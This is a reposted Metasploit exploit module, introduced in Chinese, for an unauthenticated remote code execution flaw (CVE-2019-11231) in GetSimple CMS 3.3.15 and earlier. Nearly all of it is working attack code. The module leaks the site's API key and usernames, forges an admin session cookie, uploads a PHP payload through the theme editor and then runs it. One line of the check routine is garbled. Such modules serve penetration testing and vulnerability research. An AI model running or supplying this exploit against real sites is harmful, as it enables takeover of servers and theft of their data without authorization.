GetSimple CMS是一套使用PHP语言编写的内容管理系统（CMS）。 GetSimpleCMS 3.3.15及之前版本中存在远程代码执行漏洞。远程攻击者可利用该漏洞在受影响系统上执行任意的PHP代码。
##
# This module requires Metasploit:
https://metasploit.com/download
# Current source:
https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
however authentication can be bypassed by leaking the cms API key to target the session manager.
},
'License' => MSF_LICENSE,
'Author' =>
[
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team
],
'References' =>
[
['CVE', '2019-11231'],
['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['GetSimpleCMS 3.3.15 and before', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
])
end
def gscms_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', '/')
)
return unless res && res.code == 200
generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)
fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator
vers = generator.value.split('?v=').last.gsub(".","")
return unless vers
@version = vers
end
def get_salt
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?
@salt = res.get_xml_document.at('apikey').text
end
def get_user
uri = normalize_uri(target_uri.path, 'data', 'users' ,'/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
end
def gen_cookie(version,salt,username)
cookie_name = "getsimple_cookie_#{version}"
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")
sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
end
def get_nonce(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_get' => {
't' => 'Innovation',
'f' => 'Default Template',
's' => 'Edit'
}
})
fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
end
def exploit
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
end
version = gscms_version
salt = get_salt
username = get_user
cookie = gen_cookie(version,salt,username)
nonce = get_nonce(cookie)
fname = "#{rand_text_alpha(6..16)}.php"
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie,nonce,fname,php)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'theme',fname),
})
end
def check
version = gscms_version
unless version
return CheckCode::Safe
end
vprint_status "GetSimpleCMS version #{version}"
unless vulnerable
return CheckCode:
etected
end
CheckCode::Vulnerable
end
def vulnerable
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
uri = normalize_uri(target_uri.path, 'data', 'users', '/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
return true
end
def upload_file(cookie,nonce,fname,content)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_post' => {
'submitsave' => 2,
'edited_file' => fname,
'content' => content,
'nonce' => nonce
}
})
end
end
发表于 2021-11-17 20:54:31
